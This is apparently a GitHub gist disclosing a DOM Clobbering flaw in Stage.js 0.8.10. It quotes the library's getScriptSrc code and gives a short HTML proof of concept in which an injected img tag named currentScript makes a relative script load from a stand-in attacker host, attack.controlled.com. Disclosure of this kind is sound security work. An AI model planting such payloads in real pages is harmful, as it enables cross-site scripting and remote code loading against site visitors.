Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Created October 31, 2024 16:02
Show Gist options
  • Select an option

  • Save jackfromeast/31d56f1ad17673aabb6ab541e65a5534 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/31d56f1ad17673aabb6ab541e65a5534 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in Stage.js that leads to XSS

Summary

We identified a DOM Clobbering vulnerability within the Stage.js library (version 0.8.10). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gagdet found in Stage.js

The Stage.js library uses document.currentScript within the getScriptSrc function to obtain the base URL for script resources. However, this implementation is vulnerable to DOM Clobbering attacks. The document.currentScript lookup can be shadowed by attacker-injected HTML elements (e.g., ) through the browser’s named DOM access mechanism. This allows an attacker to control the URL used for script loading, potentially loading scripts from an attacker’s server.

https://github.com/piqnt/stage.js/blob/a1d7da8b8ebccfba4159ff8f986578dfd988a22c/lib/core.js#L155-L206
function getScriptSrc() {
  // HTML5
  if (document.currentScript) {
    return document.currentScript.src;
  }
}

return function(url) {
  if (/^\.\//.test(url)) {
    var src = getScriptSrc();
    var base = src.substring(0, src.lastIndexOf('/') + 1);
    url = base + url.substring(2);
  }
  return url;
};

In this example, the src of an attacker-controlled element with name="currentScript" can override the intended URL, resulting in script loading from an attacker’s domain.

PoC

The following example demonstrates how a malicious script can be loaded from localhost:9999 via an injected HTML element:

<html>
<body>
<!-- Payload -->
<img name="currentScript" src="http://attack.controlled.com"></img>
<!-- Payload -->

<!-- Library -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/stage.js/0.8.10/stage.web.js" integrity="sha512-rA/8kCbIrzxcXW6akXAiN6FnpM+VW2iv9Zzw4ghu5Mt7xDobt3oraMSDxDeqq4kSUkaTBVdNOy1iyEyFhmceCw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script>
Stage.preload('./a.js');
</script>
<!-- Library -->
</body>
</html>

In this example, a.js will be loaded from the attacker’s domain if the injected img tag is present.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment